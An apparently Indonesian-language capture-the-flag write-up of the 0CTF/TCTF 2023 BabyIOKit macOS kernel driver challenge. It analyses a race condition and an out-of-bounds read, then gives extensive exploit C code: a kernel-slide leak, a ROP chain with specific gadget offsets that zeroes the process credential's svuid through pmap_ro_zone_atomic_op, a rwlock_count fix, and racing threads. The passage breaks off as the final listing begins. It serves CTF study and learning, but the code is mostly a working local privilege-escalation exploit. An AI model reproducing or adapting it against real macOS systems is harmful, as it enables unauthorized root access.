Dalam upaya kami untuk terus mengasah kemampuan di bidang cybersecurity yang terus berkembang, kami mengambil waktu untuk mempelajari sebuah tantangan menarik dari 0CTF/TCTF 2023, yang diselenggarakan oleh 0ops dan Tencent. Eksplorasi ini berfokus pada custom driver macOS bernama BabyIOKit, sebuah tantangan untuk menguji batasan keamanan driver macOS. Dengan membedah kerentanan ini, kami bertujuan untuk memberikan wawasan dan strategi untuk mengatasi tantangan keamanan dunia nyata yang serupa, menunjukkan pentingnya tetap waspada dan terinformasi di dunia cybersecurity yang cepat berkembang.
Dalam tantangan ini, kami diberikan sebuah folder kext yang merupakan driver kernel dari macOS. Anda dapat mendownload driver rentan tersebut di tautan ini. Driver rentan ini dapat ditemukan di dalam file tersebut, secara spesifik di path Contents/MacOS/BabyKitDriver.
Tujuan kita adalah untuk melakukan eksploitasi terhadap driver (IOKit), sehingga kita dapat melakukan eskalasi privilege lokal di macOS melalui driver yang rentan tersebut.
Tidak banyak sumber daya yang tersedia di internet tentang hal ini, tetapi kami menemukan sebuah tulisan yang menyebutkan sebuah buku yang dapat dibaca untuk memahami dasar-dasar tentang bagaimana cara berkomunikasi dengan driver IOKit. Nama bukunya adalah "OS X and iOS Kernel Programming", yang sangat direkomendasikan untuk dibaca agar membantu memahami tantangan ini (terutama bab 5).
Mari kita mulai dengan melakukan disassembling terhadap driver yang diberikan menggunakan disassembler favorit kita. Kami mengamati bahwa ada dua class utama yang terdapat di sana, yaitu BabyKitDriver dan BabyKitDriverUserClient. Buku tersebut telah menyebutkan bahwa ini adalah tipikal dari tampilan driver IOKit.
Setelah memeriksa class BabyKitDriver, sepertinya tidak ada hal yang menarik, sehingga kita dapat mengalihkan fokus kita ke class BabyKitDriverUserClient, yang merupakan class yang dapat kita ajak berinteraksi.
Mari kita mulai dengan memeriksa BabyKitDriverUserClient::externalMethod terlebih dahulu, yang akan mencantumkan metode-metode yang tersedia yang dapat dipanggil user dari userland.
__int64 __fastcall BabyKitDriverUserClient::externalMethod(
IOExternalMethodArguments *args,
IOExternalMethodDispatch *dispatch,
IOLog("BabyKitDriverUserClient::externalMethod\n");
return ((unsigned int (__fastcall *)(BabyKitDriverUserClient *, uint32_t, IOExternalMethodArguments *, IOExternalMethodDispatch *, OSObject *, void *))`vtable for'IOUserClient.externalMethod')(
(BabyKitDriverUserClient *)this,
(IOExternalMethodDispatch *)BabyKitDriverUserClient::sMethods + selector,
Sekilas, sepertinya hanya ada dua fungsi yang dapat kita ajak berinteraksi. Dengan memeriksa sMethods, yang pada dasarnya adalah daftar dari IOExternalMethodDispatch, kita dapat melihat bahwa ada dua fungsi yang dapat kita gunakan:
BabyKitDriverUserClient::baby_read
- Memeriksa atributnya, kita dapat memanggil fungsi ini dengan melewatkan 2 input skalar tanpa output.
BabyKitDriverUserClient::baby_leaveMessage
- Memeriksa atributnya, kita dapat memanggil fungsi ini dengan melewatkan 3 input skalar tanpa output.
Mari kita mulai dengan memeriksa kode baby_leaveMessage terlebih dahulu.
__int64 __fastcall BabyKitDriverUserClient::baby_leaveMessage(
IOExternalMethodArguments *args)
signed __int64 v4; // [rsp+0h] [rbp-80h]
unsigned int v5; // [rsp+Ch] [rbp-74h]
uint64_t v6; // [rsp+10h] [rbp-70h]
__int64 v7; // [rsp+18h] [rbp-68h]
v7 = ((__int64 (__fastcall *)(OSObject *))target->__vftable[5]._RESERVEDOSObject14)(target);
IOLog("BabyKitDriverUserClient::baby_leaveMessage\n");
if ( !*(_QWORD *)(v7 + 0x90) )
*(_QWORD *)(v7 + 0x90) = IOMalloc(0x300uLL);
*(_QWORD *)(*(_QWORD *)(v7 + 0x90) + 8LL) = output2;
**(_QWORD **)(v7 + 0x90) = output1;
*(_QWORD *)(*(_QWORD *)(v7 + 0x90) + 8LL) = output2;
v4 = *((_QWORD *)args->scalarInput + 2);
**(_QWORD **)(v7 + 0x90) = v4;
v5 = copyin(*((_QWORD *)args->scalarInput + 1), (void *)(*(_QWORD *)(v7 + 0x90) + 0x10LL), v4);// 2nd arg
**(_QWORD **)(v7 + 0x90) = output1;
v5 = copyin(*((_QWORD *)args->scalarInput + 1), (void *)(*(_QWORD *)(v7 + 0x90) + 8LL), 0x100uLL);// 2nd arg
*(_QWORD *)(v7 + 0x98) = v6;
__int64 __fastcall output1(char *a1, char *a2)
return __memcpy_chk(a1, a2, 0x100LL, -1LL);
__int64 __fastcall output2(char *a1, char *a2, __int64 a3)
return __memcpy_chk(a1, a2, a3, -1LL);
Melihat kode di atas, fungsi ini akan mencoba mengalokasikan chunk heap pada saat pertama kali ia dipanggil, dan menyimpannya ke dalam v7 + 0x90. Berdasarkan argumen pertama kita, ia akan menyimpan sebuah function pointer ke chunk + 0x0 atau chunk + 0x8, tergantung apakah argumen pertama kita bernilai 0 atau bukan. Fungsi ini juga akan melakukan copyin, yang akan menyalin isi dari alamat userland yang kita berikan pada argumen kedua. Mengenai ukurannya, jika argumen pertama kita bukan nol, kita dapat menentukan ukuran data (selama tidak lebih besar dari 0x200), jika tidak, ukurannya ditetapkan sebesar 0x100. Fungsi ini juga akan menyimpan argumen pertama kita ke v7+0x98.
Terlihat bahwa tidak ada penguncian (lock) yang diimplementasikan dalam driver ini. Ada kondisi balapan (race condition) yang dapat dipicu di sini. Jika kita dapat berpacu (race) antara baby_leaveMessage(0,,) dan baby_leaveMessage(1,,), dapat terjadi keadaan yang tidak konsisten di mana:
baby_leaveMessage(1, ,) menyebabkan *(_QWORD *)(v7 + 0x98) yang tersimpan bernilai 1.
- Namun,
baby_leaveMessage(0, ,) menimpa (overwrite) function pointer di *(_QWORD *)(*(_QWORD *)(v7 + 0x90) + 8LL), karena untuk kasus 0, penulisan dimulai dari chunk+ 0x8.
Sekarang, mari kita periksa fungsi baby_read agar kita tahu apa yang dapat kita lakukan dengan race condition tersebut.
__int64 __fastcall BabyKitDriverUserClient::baby_read(
IOExternalMethodArguments *args)
__int64 v4; // [rsp+18h] [rbp-398h]
__int64 v6; // [rsp+28h] [rbp-388h]
__int64 v7; // [rsp+30h] [rbp-380h]
char v10[512]; // [rsp+A0h] [rbp-310h] BYREF
char __b[264]; // [rsp+2A0h] [rbp-110h] BYREF
v7 = ((__int64 (__fastcall *)(OSObject *))target->__vftable[5]._RESERVEDOSObject14)(target);
v6 = *(_QWORD *)(v7 + 0x98);
IOLog("BabyKitDriverUserClient::baby_read\n");
IOLog("version:%lld\n", v6);
if ( *(_QWORD *)(v7 + 0x90) )
v4 = *((_QWORD *)args->scalarInput + 1);
if ( v4 > **(_QWORD **)(v7 + 0x90) )
v4 = **(_QWORD **)(v7 + 0x90);
memset(v10, 0, sizeof(v10));
(*(void (__fastcall **)(char *, __int64, _QWORD))(*(_QWORD *)(v7 + 0x90) + 8LL))(
*(_QWORD *)(v7 + 0x90) + 0x10LL,
**(_QWORD **)(v7 + 0x90));
return (unsigned int)copyout(v10, *args->scalarInput, ((_WORD)v4 - 1) & 0xFFF);// 1st arg
memset(__b, 0, 0x100uLL);
(**(void (__fastcall ***)(char *, __int64))(v7 + 0x90))(__b, *(_QWORD *)(v7 + 0x90) + 8LL);
return (unsigned int)copyout(__b, *args->scalarInput, 0x100uLL);
Fungsi ini akan memeriksa apakah driver sudah mengalokasikan sebuah chunk heap atau belum. Jika tidak null, fungsi ini akan menyalin isi chunk ke alamat userland yang kita berikan sebagai argumen pertama. Bergantung pada input kita sebelumnya dalam baby_leaveMessage, jika v7 + 0x98 (yang merupakan input argumen pertama kita dalam baby_leaveMessage) tidak bernilai nol, kita dapat menentukan ukuran sendiri. Jika tidak, ukuran ini akan ditetapkan ke 0x100.
Kembali ke race condition yang dapat kita picu, jika kita berhasil menyebabkan keadaan tidak konsisten di mana v6 tidak nol, tetapi baby_leaveMessage(0,,) menimpa chunk + 0x8, maka kita memiliki kontrol RIP. Ini karena baris kode di bawah ini akan memungkinkan kita mengontrol fungsi yang dipanggil:
(*(void (__fastcall **)(char *, __int64, _QWORD))(*(_QWORD *)(v7 + 0x90) + 8LL))(
*(_QWORD *)(v7 + 0x90) + 0x10LL,
**(_QWORD **)(v7 + 0x90));
Hal lain yang dapat kita perhatikan adalah adanya sebuah bug dalam fungsi ini. Jika v6 tidak bernilai nol dan kita menetapkan 0 sebagai ukuran, fungsi copyout akan menyalin data dengan ukuran (0 - 1) & 0xFFF ke alamat userland kita. Ini artinya kita memiliki kemampuan OOB Read (Out-of-Bounds Read), karena ukuran chunk kita hanya 0x300. Kita mungkin dapat memperoleh beberapa leak (kebocoran data) yang berguna dari sini.
Sekarang setelah kita mengetahui bug tersebut, mari mulai merancang solusi kita.
Sebelum merancang solusi kita, pertama-tama kita perlu menyiapkan environment debug karena ini adalah tantangan macOS kernel pwn.
Kita akan menggunakan OSX-KVM sebagai VM macOS. Di bawah ini adalah panduan langkah demi langkah untuk menjalankan OSX-KVM secara lokal:
- Lakukan semua langkah yang disebutkan dalam Installation Preparation.
- Saat menjalankan
fetch-macOS-v2.py, pilih opsi Ventura. Namun, versi Ventura yang diunduh tidak sama dengan versi yang digunakan dalam tantangan ini. Kita akan memerlukan langkah tambahan nanti.
- Untuk ukuran image HDD virtual,
64G sudah cukup.
- Sekarang, kita perlu mengikuti instruksi run_offline karena kita ingin secara spesifik menginstal versi
13.6.1.
- Pastikan Anda mengunduh installer
13.6.1.
- Pastikan selama memformat HDD virtual melalui GUI
Disk Utility:
- Beri nama
macOS.
- Gunakan filesystem
APFS.
- Dokumentasi menyebutkan bahwa tidak disarankan untuk menggunakan
APFS, tetapi VM tidak akan berfungsi jika kita tidak menggunakan APFS.
- Ini adalah langkah yang sangat penting.
Setelah VM berhasil terpasang, berikut beberapa langkah tambahan untuk mempermudah debugging:
- Kita mengaktifkan remote login sehingga dapat berinteraksi via
SSH dan mengirim/menerima file via SCP.
- Setelah mengaktifkan remote login, kita dapat menggunakan port
2222 untuk mengakses VM dari host.
- Kita menyalin image
kernel yang digunakan dalam OS ini, yang dapat ditemukan di /System/Library/Kernels/kernel.
- Ketik
gcc di terminal. Anda akan diminta untuk menginstall beberapa tools, pilih saja 'yes', sehingga kita dapat mengkompilasi exploit kita di VM ini.
- Unduh challenge
kext, dan install dengan sudo kextload BabyKitDriver.kext.
- Kita perlu melakukan ini setiap kali kita mengalami crash.
- Pertama kali menjalankan perintah ini, kita perlu masuk ke System Preferences untuk mengizinkannya diinstall (VM akan reboot).
Sekarang kita memiliki VM yang berjalan dengan driver challenge terinstall, dan kita dapat memulai menyusun exploit kita.
Mari kita mulai dengan menyiapkan beberapa helper untuk berinteraksi dengan driver IOKit. Di bawah ini adalah helper yang kami buat, sebagian besar menyalin dari writeup ini dan menggunakan ChatGPT.
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL
// TODO: define gadgets and addresses that we need for ROP Chain
void print_data(char *buf, size_t len) {
for (int i = 0; i < len; i += 8) {
fmt_str = "0x%04x: 0x%016lx";
printf(fmt_str, i, *(unsigned long*)&buf[i]);
printf(fmt_str, *(unsigned long*)&buf[i]);
fp = popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'","r");
printf("Failed to get KEXT address!\n");
fgets(line, sizeof(line)-1, fp);
uint64_t addr = (uint64_t) strtoul(line, NULL, 16);
void baby_read(void *buf, unsigned long size) {
unsigned long args[2] = { (unsigned long)buf, size };
IOConnectCallScalarMethod(connection,kBabyRead,(const uint64_t*)args,2,0,0);
void leave_message(unsigned long msg_type, void *buf, unsigned long size) {
unsigned long args[3] = { msg_type, (unsigned long)buf, size };
IOConnectCallScalarMethod(connection,kLeaveMessage,(const uint64_t*)args,3,0,0);
void babyKitConnect(io_connect_t *connection) {
io_service_t serviceObject;
CFDictionaryRef classToMatch;
classToMatch = IOServiceMatching(kIOKitClassName);
if (classToMatch == NULL) {
printf("IOServiceMatching returned a NULL dictionary\n");
serviceObject = IOServiceGetMatchingService(kIOMainPortDefault, classToMatch);
if (!MACH_PORT_VALID(serviceObject)) {
printf("IOServiceGetMatchingService failed\n");
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, connection);
IOObjectRelease(serviceObject);
if (kr != KERN_SUCCESS) {
printf("IOServiceOpen returned %d\n", kr);
Setelah kita mendefinisikan helper, mari kita mulai dengan memeriksa data OOB (Out-of-Bounds) apa yang bisa kita dapatkan dari bug baby_read.
Get leak with the first bug (setting size to 0 will trigger OOB read)
memset(buf, 0x41, sizeof(buf));
leave_message(1, buf, 0x200);
memset(buf, 0x0, sizeof(buf));
print_data(buf, sizeof(buf));
0x02c0: 0x0000000000000000 0x0000000000000000
0x02d0: 0x0000000000000000 0x0000000000000000
0x02e0: 0x0000003000000008 0xffffff8b6ec53038
0x02f0: 0x0000000000000000 0xffffff902edbec00
0x0300: 0x0000000000000000 0xb0b60e9f717800b0
0x0310: 0xffffffeb910f7a50 0xffffff7f9b3a5808
0x0320: 0xffffff902edbec00 0x0000000000000000
0x0330: 0xffffff902edbec00 0xffffff7f9b3a6ac0
0x0340: 0xffffffeb910f7a70 0x000000002edbec00
0x0350: 0xffffff902edbec00 0xffffff902edbecc0
0x0360: 0xffffffeb910f7bb0 0xffffff8004d52d2e
0x0370: 0xffffff800465aab4 0x0000000000000d0b
0x0380: 0x0000000000000002 0x0000000000000000
Dari output, kita bisa mendapatkan beberapa leak alamat kernel. Kita memilih menggunakan data yang didapat dari 0x318 karena tampaknya cukup konsisten untuk digunakan sebagai alamat yang bocor. Berdasarkan pengamatan dengan GDB, alamat ini memiliki offset statis dari alamat BabyKitDriver. Di bawah ini adalah cara kami menghitung alamat kernel berdasarkan leak:
uint64_t leaked = *(unsigned long*)&buf[0x318];
uint64_t kext_base = leaked - 0x1808;
slide = kext_base - GetKextAddr() + 0xdc000;
kbase = KERNEL_BASE_NO_SLID + slide;
printf("[*] Kext Base : 0x%llx\n", kext_base);
printf("[*] Kernel Text Base: 0x%llx\n", kbase);
printf("[*] Kernel Slide : 0x%llx\n", slide);
GetKextAddr() adalah helper yang kami definisikan sebelumnya, yang akan mengembalikan alamat default BabyKitDriver. Berkat bug OOB ini, kita sekarang mengetahui alamat dasar (base address) kernel. Saatnya untuk beralih ke langkah berikutnya, yaitu menyusun ROP Chain kita.
Ingat, pada tahap ini kita hanya menyusun dan mempersiapkan ROP Chain. Kita akan menggunakannya nanti ketika kita berhasil memicu race condition.
Karena sudah memiliki leak, kita perlu memikirkan strategi menyusun ROP Chain. Berdasarkan beberapa writeup, biasanya target untuk eskalasi privilege lokal pada macOS adalah menimpa struct cred.
Pertama, kita rekap apa yang bisa dilakukan jika berhasil memicu race condition. Kita akan melakukan panggilan seperti ini jika race berhasil:
(*(void (__fastcall **)(char *, __int64, _QWORD))(*(_QWORD *)(v7 + 0x90) + 8LL))(
*(_QWORD *)(v7 + 0x90) + 0x10LL,
**(_QWORD **)(v7 + 0x90));
Kita dapat menimpa fungsi target dengan apapun yang kita inginkan. Melalui GDB, terdapat pengamatan:
rsi menunjuk ke chunk+0x10
rcx menunjuk ke chunk
Dari informasi ini, kita harus menempatkan gadget yang tepat di chunk + 0x8 melalui race, agar dapat melakukan ROP. Salah satu caranya adalah dengan menggeser stack (pivot) ke arah chunk, karena kita dapat menyimpan ROP Chain dengan mudah (hingga 0x200 byte).
Mencari di antara gadget yang tersedia di kernel, kami menemukan beberapa yang berguna:
push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
Sekarang, jika kita menimpa pointer fungsi ke gadget pertama:
push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66] akan memasukkan alamat chunk ke puncak stack.
rsi menunjuk ke chunk+0x10, dan kita dapat mengontrol isi dari [rsi+0x66]. Jika kita atur rsi + 0x66, yaitu chunk+0x76 ke gadget pop rsp, efeknya adalah:
- Stack berpindah (pivot) ke
chunk karena nilai yang di-pop ke rsp adalah rcx yang baru kita push, yaitu chunk.
- Pop 3 kali, dan ROP chain kita akan berlanjut pada
chunk + 0x18.
Dengan cara ini, kita dapat menyiapkan ROP terlebih dahulu dengan baby_leaveMessage, sehingga chunk akan berisi ROP Chain kita.
Lalu, apa yang harus dilakukan dengan ROP Chain? Ada writeup lama yang menjelaskan caranya:
- Ada fungsi
current_proc yang dapat dipanggil untuk mendapatkan proc saat ini.
- Ada fungsi
proc_ucred yang akan mengembalikan ucred dari proses yang ditunjuk proc argument pertama.
- Setelah mendapatkan
ucred, kita hanya perlu menimpa svuid yang tersimpan di dalamnya.
- Kita perlu memanggil
thread_exception_return untuk kembali ke userland.
Namun, ada masalah yang kami temukan saat mengeksekusi ROP Chain mengikuti writeup tersebut. Pada versi kernel ini, ucred berada di area read-only. Artinya jika kita mencoba menimpa nilai svuid secara langsung, proses akan crash.
Salah satu rekan tim saya (sampriti) menemukan bahwa credential dialokasikan dengan read-only allocator, sehingga credential berada di area ro. Namun, meskipun berada di area ro kita tetap dapat menimpanya dengan API alokator tersebut. Ada fungsi bernama pmap_ro_zone_atomic_op yang dapat digunakan untuk menghapus isi cred->cr_svuid dengan melakukan panggilan:
pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0)
So, below is the ROP Chain that we craft to do it:
#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide+0xffffff8000a984e1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide+0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide+0xffffff8000364001
#define ret slide+0xffffff8000335311
#define pop_r14_r15 slide+0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide+0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide+0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff8000536392+slide // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74+slide
#define pop_rdx 0xFFFFFF80006FF654+slide
#define pop_r8_eax_spoil 0xffffff80004db621+slide // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce25d+slide // 0xffffff80009ce25d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e08+slide// 0xffffff8000474e08 : mov dword ptr [rsi], r8d ; pop rbp ; ret
chain = (uint64_t*)&ropChain[0x0];
// Start at chunk+0x8 in driver. When the race is triggered,
// chunk+0x8 will be called, which will pivot the stack to this
// chunk and do ROP Chain.
*chain++ = push_rcx_jmp_qword_ptr_rsi_plus_0x66; // rsi+0x66 will contains gadget to pivot stack to this heap chunk
*chain++ = 0x0; // chunk+0x10 won't be used
// Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
// , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
// We will try to perform
// pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
// , which will update the cred->cr_svuid
*chain++ = mov_rdi_rax_pop_rbp_jmp_rcx;
*chain++ = 0x4141414141414141;
// We will continue the ROP Chain at 0x80 just for convenience
// Need to do this because:
// - rsi points to chunk+0x10
// - there will be jmp qword ptr [rsi+0x66], which mean we need to put
// So what we do here is we reserve 0x10 bytes starting from chunk+0x70
*chain++ = 0x4141414141414141;
*chain++ = 0x4141414141414141;
// Overwrite chunk+0x76 to pivot stack gadget
uint64_t* chunk_0x76 = (uint64_t*)&ropChain[0x76 - 8];
*chunk_0x76 = pop_rsp_r13_r14_r15;
// *chain++ = addr_save_loc;
// *chain++ = mov_qword_rcx_rax_pop_rbp;
// *chain++ = 0x4141414141414141;
// rax still contains the ucred (returned from proc_ucred)
*chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
*chain++ = 0x4141414141414141;
*chain++ = 7; // ZONE_ID_KAUTH_CRED
*chain++ = 0x34; // ZRO_ATOMIC_AND_32
*chain++ = pop_r8_eax_spoil;
// Call pmap_ro_zone_atomic_op
*chain++ = pmap_ro_zone_atomic_op;
*chain++ = thread_exception_return;
Ini adalah ROP Chain untuk nullify svuid, tapi ini saja belum cukup. Kita akan kembali membahasnya nanti dalam bagian race condition.
Jadi, kita perlu memicu race condition. Caranya, kita cukup membuat dua thread: thread pertama akan memanggil leave_message(0,,), dan thread kedua memanggil leave_message(1,,) dan baby_read. Berikut adalah kodenya:
for (int i = 0; i < loop_end; i++) {
leave_message(0, ropChain, 0x100);
- Create a new thread which will call leave_message(0, ropChain, 0x100);
- In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
- yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
pthread_create(&th, NULL, race, NULL);
memset(test, 0, sizeof(test));
for (int i = 0; i < loop_end; i++) {
leave_message(1, &ropChain[0x8], 0x200);
Sebagai checkpoint, berikut ini adalah kode yang sudah kita buat sejauh ini:
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL
#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide+0xffffff8000a984e1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide+0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide+0xffffff8000364001
#define ret slide+0xffffff8000335311
#define pop_r14_r15 slide+0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide+0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide+0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff8000536392+slide // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74+slide
#define pop_rdx 0xFFFFFF80006FF654+slide
#define pop_r8_eax_spoil 0xffffff80004db621+slide // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce25d+slide // 0xffffff80009ce25d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e08+slide// 0xffffff8000474e08 : mov dword ptr [rsi], r8d ; pop rbp ; ret
// Existing kernel functions
#define current_thread slide+0xFFFFFF80004D1ED0
#define current_proc slide+0xFFFFFF8000989860
#define proc_ucred slide+0xFFFFFF80008556B0
#define pmap_ro_zone_atomic_op slide+0xFFFFFF80004B0410
#define thread_exception_return slide+0xFFFFFF8000334DCA
#define debug_gadget 0xffffff800033620a+slide
#define addr_save_loc 0xFFFFFF8000C18000+slide
#define eb_fe 0xFFFFFF800037E726+slide
// Helper method during debugging
void print_data(char *buf, size_t len) {
for (int i = 0; i < len; i += 8) {
fmt_str = "0x%04x: 0x%016lx";
printf(fmt_str, i, *(unsigned long*)&buf[i]);
printf(fmt_str, *(unsigned long*)&buf[i]);
fp = popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'","r");
printf("Failed to get KEXT address!\n");
fgets(line, sizeof(line)-1, fp);
uint64_t addr = (uint64_t) strtoul(line, NULL, 16);
void baby_read(void *buf, unsigned long size) {
unsigned long args[2] = { (unsigned long)buf, size };
IOConnectCallScalarMethod(connection,kBabyRead,(const uint64_t*)args,2,0,0);
void leave_message(unsigned long msg_type, void *buf, unsigned long size) {
unsigned long args[3] = { msg_type, (unsigned long)buf, size };
IOConnectCallScalarMethod(connection,kLeaveMessage,(const uint64_t*)args,3,0,0);
void babyKitConnect(io_connect_t *connection) {
io_service_t serviceObject;
CFDictionaryRef classToMatch;
classToMatch = IOServiceMatching(kIOKitClassName);
if (classToMatch == NULL) {
printf("IOServiceMatching returned a NULL dictionary\n");
serviceObject = IOServiceGetMatchingService(kIOMainPortDefault, classToMatch);
if (!MACH_PORT_VALID(serviceObject)) {
printf("IOServiceGetMatchingService failed\n");
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, connection);
IOObjectRelease(serviceObject);
if (kr != KERN_SUCCESS) {
printf("IOServiceOpen returned %d\n", kr);
for (int i = 0; i < loop_end; i++) {
leave_message(0, ropChain, 0x100);
babyKitConnect(&connection);
Get leak with the first bug (setting size to 0 will trigger OOB read)
memset(buf, 0x41, sizeof(buf));
leave_message(1, buf, 0x200);
memset(buf, 0x0, sizeof(buf));
uint64_t leaked = *(unsigned long*)&buf[0x318];
uint64_t kext_base = leaked - 0x1808;
slide = kext_base - GetKextAddr() + 0xdc000;
kbase = KERNEL_BASE_NO_SLID + slide;
printf("[*] Kext Base : 0x%llx\n", kext_base);
printf("[*] Kernel Text Base: 0x%llx\n", kbase);
printf("[*] Kernel Slide : 0x%llx\n", slide);
chain = (uint64_t*)&ropChain[0x0];
// Start at chunk+0x8 in driver. When the race is triggered,
// chunk+0x8 will be called, which will pivot the stack to this
// chunk and do ROP Chain.
*chain++ = push_rcx_jmp_qword_ptr_rsi_plus_0x66; // rsi+0x66 will contains gadget to pivot stack to this heap chunk
*chain++ = 0x0; // chunk+0x10 won't be used
// Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
// , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
// We will try to perform
// pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
// , which will update the cred->cr_svuid
*chain++ = mov_rdi_rax_pop_rbp_jmp_rcx;
*chain++ = 0x4141414141414141;
// We will continue the ROP Chain at 0x80 just for convenience
// Need to do this because:
// - rsi points to chunk+0x10
// - there will be jmp qword ptr [rsi+0x66], which mean we need to put
// So what we do here is we reserve 0x10 bytes starting from chunk+0x70
*chain++ = 0x4141414141414141;
*chain++ = 0x4141414141414141;
// Overwrite chunk+0x76 to pivot stack gadget
uint64_t* chunk_0x76 = (uint64_t*)&ropChain[0x76 - 8];
*chunk_0x76 = pop_rsp_r13_r14_r15;
// *chain++ = addr_save_loc;
// *chain++ = mov_qword_rcx_rax_pop_rbp;
// *chain++ = 0x4141414141414141;
// rax still contains the ucred (returned from proc_ucred)
*chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
*chain++ = 0x4141414141414141;
*chain++ = 7; // ZONE_ID_KAUTH_CRED
*chain++ = 0x34; // ZRO_ATOMIC_AND_32
*chain++ = pop_r8_eax_spoil;
// Call pmap_ro_zone_atomic_op
*chain++ = pmap_ro_zone_atomic_op;
*chain++ = thread_exception_return;
// Store ROPChain in heap chunk
// &ropChain[0x8] because ropChain is used by leave_message(0) as well, which
// write starting from chunk+0x8. And leave_message(1) write starting from chunk+0x10,
// so, to make the stored ROPChain consistent, we need to send input+0x8 for leave_message(1)
leave_message(1, &ropChain[0x8], 0x200);
- Create a new thread which will call leave_message(0, ropChain, 0x100);
- In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
- yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
pthread_create(&th, NULL, race, NULL);
memset(test, 0, sizeof(test));
for (int i = 0; i < loop_end; i++) {
leave_message(1, &ropChain[0x8], 0x200);
Mari kita coba jalankan kode ini.
Kode ini masih mengakibatkan crash. Kita dapat memeriksa penyebab crash dengan mengklik "Report" untuk mengirim laporan ke Apple. Di bawah ini adalah error yang menyebabkan kernel panic.
Kita tidak dapat kembali ke userland karena current_thread()->rwlock_count tidak bernilai 0. Kita hanya perlu menimpa nilai ini menjadi 0 dengan memperbarui ROP Chain sebelum memanggil thread_exception_return.
// Call pmap_ro_zone_atomic_op
*chain++ = pmap_ro_zone_atomic_op;
// Overwrite rwlock_count to 0
*chain++ = current_thread;
*chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
*chain++ = 0x4141414141414141;
*chain++ = 0x44C; // offset for rwlock_count
*chain++ = add_rsi_rcx_mov_rax_rsi_pop_rbp; // Points rsi to rwlock_count
*chain++ = 0x4141414141414141;
*chain++ = pop_r8_eax_spoil;
*chain++ = mov_dword_ptr_rsi_r8d_pop_rbp;
*chain++ = 0x4141414141414141;
*chain++ = thread_exception_return;
Sekarang setelah ROP Chain diperbarui, mari kita coba kompilasi dan jalankan kode yang telah diubah.
chovid99@Chovid99s-iMac-Pro ~ % ./exploit
[*] Kext Base : 0xffffff7fa9fa4000
[*] Kernel Text Base: 0xffffff8012fdc000
[*] Kernel Slide : 0x12edc000
chovid99@Chovid99s-iMac-Pro ~ %
Proses tidak crash, tetapi terhenti (killed) segera setelah kita kembali ke userland. Untuk mengatasi hal ini, rekan tim saya, sampriti, menyarankan agar kita menggunakan fork() di awal exploit kita. Dengan begitu parent dan child process akan memiliki credential yang sama (shared). Menggunakan idenya, kita dapat memodifikasi exploit dengan cara:
- Memanggil
fork() di awal exploit.
Child process menjalankan exploit di atas, sehingga akan menimpa svuid dari shared credential menjadi 0.
Parent process melakukan sleep() terlebih dahulu. Harapannya, setelah sleep selesai, child process (yang dihentikan) telah menimpa cred->svuid menjadi 0 pada shared credential, sehingga parent process dapat membaca flag di direktori /flag.
Berikut adalah kode akhir yang berfungsi dengan baik:
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL
